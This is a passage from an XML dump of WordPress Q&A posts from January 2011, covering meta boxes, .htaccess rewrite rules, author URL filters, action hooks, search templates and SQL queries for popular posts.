&amp;amp;&amp;amp; !current_user_can( 'edit_page', $post_id ) )&#xA;            return $post_id;&#xA;&#xA;        elseif ( 'post' == $_POST['post_type'] &amp;amp;&amp;amp; !current_user_can( 'edit_post', $post_id ) )&#xA;            return $post_id;&#xA;&#xA;        $data = stripslashes( $_POST[$meta_box['name']] );&#xA;        if ( get_post_meta( $post_id, $meta_box['name'] ) == '' )&#xA;            add_post_meta( $post_id, $meta_box['name'], $data, true );&#xA;&#xA;        elseif ( $data != get_post_meta( $post_id, $meta_box['name'], true ) )&#xA;            update_post_meta( $post_id, $meta_box['name'], $data );&#xA;&#xA;        elseif ( $data == '' )&#xA;            delete_post_meta( $post_id, $meta_box['name'], get_post_meta( $post_id, $meta_box['name'], true ) );&#xA;&#xA;    endforeach;&#xA;}    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="420" LastEditorUserId="420" LastEditorDisplayName="" LastEditDate="2011-01-12T07:47:32.750" LastActivityDate="2011-01-13T08:00:05.343" Title="multicheck box for post metabox" Tags="&lt;3.0.1&gt;&lt;metabox&gt;&lt;posts&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="6514" PostTypeId="1" CreationDate="2011-01-07T08:06:45.143" Score="0" ViewCount="191" Body="&lt;p&gt;I have a tab in the header having named &lt;code&gt;Request Quote&lt;/code&gt;. In my experience I have not yet used a quote functionality. Please provide me any help or any link that will be helpful for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there is any plugin or something else?&#xA;I need your ideas and suggestions.&#xA;I shall be very thankful to you all.&lt;/p&gt;&#xA;" OwnerUserId="1850" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:50:56.093" LastActivityDate="2011-01-11T07:50:56.093" Title="Recommendations for requesting quotes?" Tags="&lt;plugin-recommendation&gt;&lt;contact&gt;" AnswerCount="3" />
  <row Id="6515" PostTypeId="2" ParentId="6508" CreationDate="2011-01-07T08:34:17.917" Score="0" ViewCount="" Body="&lt;p&gt;Wanted to update the answer letting you know that with all the extra wp_rewrites I was doing I needed to do&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;([a-z]*?)&lt;/code&gt; instead of &lt;code&gt;(.*?)&lt;/code&gt; when I was parsing the url for words and @scribu's answer &lt;code&gt;(\d+)&lt;/code&gt; when parsing numbers. But don't forget that &lt;code&gt;?&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2011-01-07T08:34:17.917" />
  <row Id="6516" PostTypeId="2" ParentId="6483" CreationDate="2011-01-07T09:14:35.807" Score="1" ViewCount="" Body="&lt;p&gt;Thanks everyone for your suggestions - the page is now back up and running, but I am not certain why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My theory is that I actually fixed it by deleting the .htaccess file which I removed from the root of &lt;code&gt;/public_html&lt;/code&gt; and assumed would be recreated by Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not been replaced in the &lt;code&gt;/public_html&lt;/code&gt; folder, but without me noticing a .htaccess file was created in the &lt;code&gt;/public_html/blog&lt;/code&gt; folder (where the blog is kept).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I didn't notice this at first I can't be certain this was the solution, but it is my best guess.&lt;/p&gt;&#xA;" OwnerUserId="2361" LastActivityDate="2011-01-07T09:14:35.807" CommentCount="1" />
  <row Id="6517" PostTypeId="2" ParentId="6511" CreationDate="2011-01-07T09:15:28.537" Score="0" ViewCount="" Body="&lt;p&gt;Yes, this is exactly the type of thing mod_rewrite was designed to do.  However, you will need to move the blog content to another location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if /2011/11/1/how-to-brew-beer.html was one of the blog articles, it's no longer accessible there as that's now a broken link.  So you'll have to move it somewhere else:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   /2011_good/11/1/how-to-brew-beer.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your rewrite rule will need to match anything beginning with /2011/.* and rewrite it to the URL I posted above, assuming that's the location where the articles have moved to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving the content could turn out to be a lot of work.  I actually think you're a lot better off just moving the 2011.html file somewhere else and then using a rewrite rule for it since it's &lt;strong&gt;just one file&lt;/strong&gt; as opposed to any historical information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, we're 7 days into 2011 right now, so I can't possibly imagine there are that many posts to migrate for 2011 :)&lt;/p&gt;&#xA;" OwnerUserId="2368" LastActivityDate="2011-01-07T09:15:28.537" />
  <row Id="6518" PostTypeId="2" ParentId="6511" CreationDate="2011-01-07T11:00:42.560" Score="9" ViewCount="" Body="&lt;p&gt;The reason that's happening at all is because of &lt;a href=&quot;http://httpd.apache.org/docs/2.2/content-negotiation.html&quot; rel=&quot;nofollow&quot;&gt;content negotiation&lt;/a&gt;. &lt;code&gt;/2011.html&lt;/code&gt; wouldn't normally be accessible through &lt;code&gt;/2011/&lt;/code&gt;, but content negotiation is making Apache automatically look for files named &lt;code&gt;2011&lt;/code&gt; (whatever the extension) when it can't find the folder before it passes control to WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be quite useful, but if you don't particularly need content negotiation (WordPress itself doesn't need it), you can turn it off by adding this to your &lt;code&gt;.htaccess&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options -MultiViews&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, or you do need content negotiation, you could rename the &lt;code&gt;2011.html&lt;/code&gt; to something else, and use mod_rewrite to make sure the link still works. E.g. rename &lt;code&gt;2011.html&lt;/code&gt; to &lt;code&gt;happynewyear.html&lt;/code&gt; and then add this to your &lt;code&gt;.htaccess&lt;/code&gt; (before the other RewriteRules):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^2011\.html happynewyear.html [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2370" LastEditorUserId="2370" LastEditorDisplayName="" LastEditDate="2011-01-11T11:08:49.700" LastActivityDate="2011-01-11T11:08:49.700" CommentCount="2" />
  <row Id="6519" PostTypeId="2" ParentId="6373" CreationDate="2011-01-07T11:01:22.390" Score="1" ViewCount="" Body="&lt;p&gt;You'll need to do some .htaccess-fu to get what you're proposing to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 ^/labs/(.+)&#xA;RewriteRule ^/labs/(.*)$ /labs-folder/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This isn't tested yet but it if you put it &lt;em&gt;before&lt;/em&gt; the wordpress rules in your htaccess file it will remap urls that begin with /labs/ to /labs-folder/ but not if the url is just &quot;/labs/&quot; on its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if it doesn't work and I'll debug it with you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can replace &quot;labs-folder&quot; with any folder name you choose but essentially a url like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/labs/project1/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will really be looking here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/labs-folder/project1/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-07T11:01:22.390" CommentCount="3" />
  <row Id="6520" PostTypeId="2" ParentId="6508" CreationDate="2011-01-07T11:09:20.463" Score="0" ViewCount="" Body="&lt;p&gt;&quot;Everything until the first forward slash&quot; is expressed by &lt;code&gt;[^/]*&lt;/code&gt;. The &lt;code&gt;[]&lt;/code&gt; indicate a character class (everything in here matches), the &lt;code&gt;^&lt;/code&gt; inverts it (everything not in here matches), and the &lt;code&gt;*&lt;/code&gt; repeats it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are changing the rewrite rules I recommend &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my rewrite analyzer plugin&lt;/a&gt; (soon in the repository, &lt;a href=&quot;http://dl.dropbox.com/u/7057637/monkeyman-rewrite-analyzer.zip&quot; rel=&quot;nofollow&quot;&gt;but get the current version via Dropbox&lt;/a&gt;), it helps you debug these things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/sB1ln.png&quot; alt=&quot;Rewrite Analyzer screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-07T11:09:20.463" />
  <row Id="6521" PostTypeId="2" ParentId="6514" CreationDate="2011-01-07T11:27:16.967" Score="3" ViewCount="" Body="&lt;p&gt;There are a good few form building plugins out there but the best by far is &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well worth the license fee and you can offset that cost when you bill your client. They will be able to create as many forms as they need then and attach them as widgets in a sidebar or in a blog post or on a standard wordpress page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you need to see what the form should look like or at least what fields it needs and then you can create the 'Request a Quote' page and attach your form to it.&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-07T11:27:16.967" CommentCount="2" />
  <row Id="6522" PostTypeId="2" ParentId="2722" CreationDate="2011-01-07T11:41:15.523" Score="1" ViewCount="" Body="&lt;p&gt;I've used the &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms plugin&lt;/a&gt; and its post form-submission hook to fire off a server-side web2lead curl request in wordpress before now. Wasn't too difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially your web2lead form submission is purely server-side so the regular gravity forms entry logging (including IP etc...) just carries on working. You get your data in both WP and SF.&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-07T11:41:15.523" />
  <row Id="6523" PostTypeId="1" AcceptedAnswerId="6649" CreationDate="2011-01-07T11:55:55.637" Score="0" ViewCount="410" Body="&lt;p&gt;I'm trying to figure out how to link a logged-in user to his profile settings, but I can't seem to find a function that generates this link (like &lt;code&gt;wp_settings_url()&lt;/code&gt; or &lt;code&gt;wp_profile_url()&lt;/code&gt;) &#xA;Is there a default function for this?&lt;/p&gt;&#xA;" OwnerUserId="1620" LastActivityDate="2011-03-18T02:09:49.183" Title="Link to user's profile settings page?" Tags="&lt;functions&gt;" AnswerCount="2" />
  <row Id="6524" PostTypeId="1" AcceptedAnswerId="6529" CreationDate="2011-01-07T12:37:58.757" Score="0" ViewCount="61" Body="&lt;p&gt;Is it possible in wordpress to customise the search page to show certain information depending on the result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I run a motorsport site and if I searched for Jenson Button it would return a page with all the posts mentioning Jenson Button ( &lt;a href=&quot;http://www.thecheckeredflag.co.uk/?s=Jenson+Button&quot; rel=&quot;nofollow&quot;&gt;http://www.thecheckeredflag.co.uk/?s=Jenson+Button&lt;/a&gt; ). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to customise this page to show a div at the top with relevant links about that Jenson Button or whatever driver/search term the user is looking for?&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-01-07T14:17:36.597" Title="Customise search page depending on result" Tags="&lt;search&gt;" AnswerCount="1" />
  <row Id="6525" PostTypeId="2" ParentId="6523" CreationDate="2011-01-07T12:42:29.347" Score="0" ViewCount="" Body="&lt;p&gt;Possibly something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_currentuserinfo();&#xA;&#xA;global $user_ID;&#xA;if (” != $user_ID) { ?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;/wp-admin/user-edit.php?user_id=&amp;lt;?php the_author_ID(); ?&amp;gt;&quot;&amp;gt;Edit&#xA;Profile&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-01-07T12:42:29.347" CommentCount="2" />
  <row Id="6526" PostTypeId="1" AcceptedAnswerId="6528" CreationDate="2011-01-07T13:14:13.077" Score="1" ViewCount="143" Body="&lt;p&gt;Hi I am writing a small plug-in which I get some content from outside of WordPress and I want a small script to trigger whenever a new post, page or comment is added. Also if any Widgets, themes and Plug-ins are Activated or De-Activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that I should be using the action hooks for this but since there are multiple actions so how to get all those actions in some array or so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class getStatic {&#xA;&#xA;    var $_renderTasksOn =&#xA;        array(&#xA;&#xA;              &amp;lt;!-- How do I call those actions in an array here --&amp;gt;&#xA;&#xA;        )&#xA;&#xA;function gerStatic() {&#xA;&#xA;    &amp;lt;!-- Here goes the script to get external data --&amp;gt;&#xA;}&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am very new to programming hence kindly help with the code. How do I use those action hooks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly help.&lt;/p&gt;&#xA;" OwnerUserId="2122" LastActivityDate="2011-01-07T14:11:12.577" Title="How to get multiple Action Hooks in an Array" Tags="&lt;3.0&gt;&lt;plugins&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="6527" PostTypeId="2" ParentId="5742" CreationDate="2011-01-07T13:58:40.573" Score="3" ViewCount="" Body="&lt;p&gt;I see two ways to solve this problem: changing the data that forms the author URL, or changing the author URL. You probably should handle redirects too, so old URLs to user archives keep working when a user changes their nickname.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Changing the author URL&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are two parts to this question: handle incoming links with the author nickname instead of the author slug, and generate author post urls with the nickname instead of the standard slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first part is solved by hooking into the &lt;code&gt;request&lt;/code&gt; filter, checking whether it is an author request, and looking up the author by nickname instead of slug. If we find an author, we change the query parameters to use the author ID.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'request', 'wpse5742_request' );&#xA;function wpse5742_request( $query_vars )&#xA;{&#xA;    if ( array_key_exists( 'author_name', $query_vars ) ) {&#xA;        global $wpdb;&#xA;        $author_id = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( &quot;SELECT user_id FROM {$wpdb-&amp;gt;usermeta} WHERE meta_key='nickname' AND meta_value = %s&quot;, $query_vars['author_name'] ) );&#xA;        if ( $author_id ) {&#xA;            $query_vars['author'] = $author_id;&#xA;            unset( $query_vars['author_name'] );    &#xA;        }&#xA;    }&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second part is done by hooking into the &lt;code&gt;author_link&lt;/code&gt; filter and replacing the standard author part (indicated by &lt;code&gt;$author_nicename&lt;/code&gt;) with the nickname.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'author_link', 'wpse5742_author_link', 10, 3 );&#xA;function wpse5742_author_link( $link, $author_id, $author_nicename )&#xA;{&#xA;    $author_nickname = get_user_meta( $author_id, 'nickname', true );&#xA;    if ( $author_nickname ) {&#xA;        $link = str_replace( $author_nicename, $author_nickname, $link );&#xA;    }&#xA;    return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Changing the data that forms the author URL&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A maybe easier way would be to update the otherwise unused &lt;code&gt;user_nicename&lt;/code&gt; field in the database. I think it is generated from the user login and never changed after that. But I'm not an expert in user management, so use it at your own risk.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'user_profile_update_errors', 'wpse5742_set_user_nicename_to_nickname', 10, 3 );&#xA;function wpse5742_set_user_nicename_to_nickname( &amp;amp;$errors, $update, &amp;amp;$user )&#xA;{&#xA;    if ( ! empty( $user-&amp;gt;nickname ) ) {&#xA;        $user-&amp;gt;user_nicename = sanitize_title( $user-&amp;gt;nickname, $user-&amp;gt;display_name );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-07T13:58:40.573" CommentCount="1" />
  <row Id="6528" PostTypeId="2" ParentId="6526" CreationDate="2011-01-07T14:11:12.577" Score="3" ViewCount="" Body="&lt;p&gt;If you want to hook into multiple actions, you have to call &lt;code&gt;add_action&lt;/code&gt; multiple times. However, this is not so hard. Let's take your plugin class as an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class WPSE6526_getStatic // Always prefix your plugin with something unique, like your name. Here I used the question number&#xA;{&#xA;    var $_renderTasksOn = array( 'wp_insert_post', 'wp_insert_comment', ... );&#xA;&#xA;    function WPSE6526_getStatic()&#xA;    {&#xA;        // The constructor of this class, which will hook up everything&#xA;        // This is the 'trick' to this question: a loop on your list and `add_action` for each item&#xA;        foreach ( $this-&amp;gt;_renderTasksOn as $hookname ) {&#xA;            add_action( $hookname, array( &amp;amp;$this, 'getStatic' ) );&#xA;        }&#xA;    }&#xA;&#xA;    function getStatic()&#xA;    {&#xA;        // Your code&#xA;    }&#xA;}&#xA;&#xA;add_action( 'plugins_loaded', 'wpse6526_getStatic_init' );&#xA;function wpse6526_getStatic_init()&#xA;{&#xA;    $GLOBALS['wpse6526_getStatic_instance'] = new WPSE6526_getStatic();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-07T14:11:12.577" CommentCount="2" />
  <row Id="6529" PostTypeId="2" ParentId="6524" CreationDate="2011-01-07T14:17:36.597" Score="1" ViewCount="" Body="&lt;p&gt;You can create a template file in your theme that is used to display search results. It is called &lt;code&gt;search.php&lt;/code&gt;. &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Search_Result_display&quot; rel=&quot;nofollow&quot;&gt;If it does not exist the &lt;code&gt;index.php&lt;/code&gt; file is displayed.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of that file, or wherever you want, you can place extra code that queries your special posts (depending on how you saved driver data). You can get the current search query by calling &lt;code&gt;get_query_var( 's' )&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-07T14:17:36.597" CommentCount="1" />
  <row Id="6530" PostTypeId="1" CreationDate="2011-01-07T14:27:42.560" Score="0" ViewCount="192" Body="&lt;p&gt;On this page, I have a stray bullet at the right of the side search jobs navigation? Why is this? It may that I am missing something simple. I just have been at for awhile. &lt;a href=&quot;http://shs.merms.info/2010/12/30/shs-team-celebrates-successful-quarter/&quot; rel=&quot;nofollow&quot;&gt;http://shs.merms.info/2010/12/30/shs-team-celebrates-successful-quarter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;?php wp_list_categories('title_li=&amp;lt;strong&amp;gt;Categories&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;'); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-07T14:45:52.047" LastActivityDate="2011-01-07T14:48:57.100" Title="Why do I have stray bullet from &lt;?php wp_list_categories&gt;?" Tags="&lt;categories&gt;&lt;css&gt;" AnswerCount="1" />
  <row Id="6531" PostTypeId="2" ParentId="6530" CreationDate="2011-01-07T14:48:57.100" Score="4" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_list_categories()&lt;/code&gt; starts its output with a &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt;, so you don't have to write it yourself. What you get (check your source code) is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;    &amp;lt;li class=&quot;categories&quot;&amp;gt;&amp;lt;strong&amp;gt;Categories&amp;lt;/strong&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li class=&quot;cat-item cat-item-6&quot;&amp;gt;&amp;lt;a href=&quot;http://shs.merms.info/category/article/&quot; title=&quot;View all posts filed under Article&quot;&amp;gt;Article&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;            &amp;lt;li class=&quot;cat-item cat-item-3&quot;&amp;gt;&amp;lt;a href=&quot;http://shs.merms.info/category/awards/&quot; title=&quot;View all posts filed under Awards&quot;&amp;gt;Awards&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;!-- More items --&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;li&amp;gt;&lt;/code&gt; is invalid and gets converted to &lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&lt;/code&gt;, giving you an extra bullet. You should remove the &lt;code&gt;&amp;lt;li&amp;gt;...&amp;lt;/li&amp;gt;&lt;/code&gt; around your call to &lt;code&gt;wp_list_categories()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-07T14:48:57.100" CommentCount="1" />
  <row Id="6533" PostTypeId="1" CreationDate="2011-01-07T15:39:52.603" Score="1" ViewCount="358" Body="&lt;p&gt;I am using a wordpress plugin called &quot;kf most read&quot; which stores a count of how many times a post was read, and lets you output a list of most read posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works well. The issue is, I am trying to pull the most read posts, but only the most read posts within the current category you are viewing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am close to clueless when it comes to sql.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here us what the plugin is currently using to pull the most read posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;SELECT count(mr.post_ID) AS totHits, p.ID, p.post_title FROM $wpdb-&amp;gt;posts p &#xA;JOIN {$wpdb-&amp;gt;prefix}kf_most_read mr ON mr.post_ID = p.ID WHERE mr.hit_ts &amp;gt;= '&quot;.(time() - ( 86400 * $period)).&quot;'&#xA;GROUP BY mr.post_ID ORDER BY totHits DESC, ID ASC LIMIT $limit&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How could I incorporate the below query which pulls from a specific category into the above?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql .= &quot;LEFT JOIN $wpdb-&amp;gt;term_taxonomy ON($wpdb-&amp;gt;term_relationships.term_taxonomy_id = $wpdb-&amp;gt;term_taxonomy.term_taxonomy_id)&quot;;&#xA;$sql .= &quot;WHERE $wpdb-&amp;gt;term_taxonomy.term_id IN ($currentcat)&quot;;&#xA;$sql .= &quot;AND $wpdb-&amp;gt;term_taxonomy.taxonomy = 'category'&quot; ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any Help on this would be much appreciated.&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-07T16:02:11.767" LastActivityDate="2011-02-18T16:39:07.897" Title="Modify Wordpress SQL Query to pull from within a category" Tags="&lt;categories&gt;&lt;query-posts&gt;&lt;sql&gt;" AnswerCount="1" />
  <row Id="6534" PostTypeId="2" ParentId="6514" CreationDate="2011-01-07T15:43:58.997" Score="1" ViewCount="" Body="&lt;p&gt;Check out &lt;a href=&quot;http://wordpress.org/extend/plugins/grunion-contact-form/&quot; rel=&quot;nofollow&quot;&gt;Grunion Contact Form&lt;/a&gt;, it is developed by Automattic for .com but also released as .org plugin. It got major update recently.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-07T15:43:58.997" />
  <row Id="6535" PostTypeId="1" AcceptedAnswerId="6537" CreationDate="2011-01-07T16:01:46.397" Score="0" ViewCount="121" Body="&lt;p&gt;This feels like a fairly simple question, though I fear, may be a complicated answer. Is there an way (via plugin or code) to make a theme change some basic CSS elements based on a taxonomy term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you have camera brands, and you site is all about cameras. Can you have pages about Kodak use a CSS file where colors are blue, and if Cannon it uses a CSS file that is red, etc. Basically you sub-theme your theme based on a taxonomy term?&lt;/p&gt;&#xA;" OwnerUserId="1990" LastActivityDate="2011-01-07T16:12:49.493" Title="Sub-Theme (based on Taxonomies)" Tags="&lt;themes&gt;&lt;custom-taxonomy&gt;" AnswerCount="2" />
  <row Id="6536" PostTypeId="2" ParentId="6535" CreationDate="2011-01-07T16:10:20.857" Score="0" ViewCount="" Body="&lt;p&gt;There are several ways to approach this, mostly depending on how major changes in styling are going to be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;filter output of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;body_class()&lt;/code&gt;&lt;/a&gt; function (or wait for 3.1 in which according to docs terms are going to be included automatically) and including style differences in your main stylesheet;&lt;/li&gt;&#xA;&lt;li&gt;echo additional styling inline (preferably when amount is minimal);&lt;/li&gt;&#xA;&lt;li&gt;load additional stylesheets.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;Conditional Tags&lt;/a&gt; for how to check for different stuff and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_style()&lt;/code&gt;&lt;/a&gt; for loading additional stylesheets.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-07T16:10:20.857" />
  <row Id="6537" PostTypeId="2" ParentId="6535" CreationDate="2011-01-07T16:12:49.493" Score="0" ViewCount="" Body="&lt;p&gt;Yes, you can. In many ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way is to have &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;custom templates based on tag or category slug&lt;/a&gt;. So, you just tag your posts appropriately and then WordPress will automatically select appropriate template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the template difference are miniscule, you can use php includes or wordpress includes to keep common content in other files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could do a custom include based on the value of the tag from the main theme file and provide CSS reference that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or have inline CSS again controlled by php code inside the template.&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2011-01-07T16:12:49.493" CommentCount="4" />
  <row Id="6538" PostTypeId="1" AcceptedAnswerId="6654" CreationDate="2011-01-07T17:11:52.703" Score="1" ViewCount="1042" Body="&lt;p&gt;Is it possible using WP_Query to return a filtered list of items based on the following criteria set? I seem to be struggling as there are numerous queries against custom fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Select all posts that are of type business_club (post_type)&#xA;Where the post has a zone of 'Asia' (meta_value)&#xA;Order by country ASC (meta_value)&#xA;then by town ASC (meta_value)&#xA;then by title (wp value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2371" LastEditorUserId="2371" LastEditorDisplayName="" LastEditDate="2011-01-10T09:13:07.137" LastActivityDate="2011-01-10T10:59:38.840" Title="WP_Query, custom sort and custom filter" Tags="&lt;wp-query&gt;&lt;post-meta&gt;" AnswerCount="3" />
  <row Id="6539" PostTypeId="1" AcceptedAnswerId="6548" CreationDate="2011-01-07T17:26:10.240" Score="1" ViewCount="87" Body="&lt;p&gt;Where should I put an administration page that should only be used once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating a plugin that will index all used HTML tags in your posts, so you can cleanup posts if you change themes and want to replace old incorrect &lt;code&gt;&amp;lt;font&amp;gt;&lt;/code&gt; tags with headers or other semantic markup. When you install this plugin it should scan your old posts once to fill up the index (custom taxonomy). I don't want to do this on plugin installation because it might take a long time if you have many posts, and thus a separate page with an AJAX-approach to transform batches of posts might be better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably nitpicking, but should I put this extra page in the menu (under &lt;em&gt;Tools&lt;/em&gt;?) and just leave it there, or should a use a trick to only display it when needed? Via a link in the plugin actions, or maybe a DB setting that you can use to hide the menu item? The plugin should remain installed (because it updates on post inserts and edits), and maybe sometimes you want a rescan (if you did a bulk change via the database).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As plugin users, does it bother you to have menu options that you almost never use?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-07T19:57:34.540" Title="Where should I put &quot;run once&quot; plugin pages?" 